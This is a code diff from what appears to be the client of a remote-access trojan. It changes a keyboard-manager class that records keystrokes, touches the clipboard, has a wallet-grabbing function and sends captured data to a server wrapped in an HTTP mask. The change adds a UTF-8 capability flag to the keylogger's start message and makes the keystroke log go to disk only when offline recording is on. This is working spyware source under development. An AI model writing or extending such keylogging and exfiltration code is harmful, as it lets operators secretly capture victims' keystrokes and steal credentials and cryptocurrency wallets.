i18n: UTF-8 protocol capability + Unicode rendering on server

client/KeyboardManager.cpp

@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
     SAFE_CLOSE_HANDLE(m_hClipboard);
     SAFE_CLOSE_HANDLE(m_hWorkThread);
     SAFE_CLOSE_HANDLE(m_hSendThread);
-    m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    // 仅在离线记录开启时才回写磁盘；否则缓冲区随对象释放，不让 CLEAR 后的新击键意外落盘。
+    if (m_bIsOfflineRecord) {
+        m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    }
     delete m_Buffer;
     Mprintf("~CKeyboardManager1: Stop %p\n", this);
 }
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
 
 int CKeyboardManager1::sendStartKeyBoard()
 {
-    BYTE	bToken[2];
+    // 协议扩展：在 [TOKEN, offline] 后面捎带 2 字节 cap word。
+    // 子连接没经过 LOGIN_INFOR，服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
+    // 让客户端自己带过来，避免服务端通过 IP 反查主连接（NAT/127.0.0.1 等场景反查会失败）。
+    // 老服务端读不到 byte 2-3 没关系（只读 byte 1），向后兼容。
+    BYTE	bToken[4];
     bToken[0] = TOKEN_KEYBOARD_START;
     bToken[1] = (BYTE)m_bIsOfflineRecord;
+    WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
+    memcpy(bToken + 2, &caps, sizeof(WORD));
     HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
     return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
 }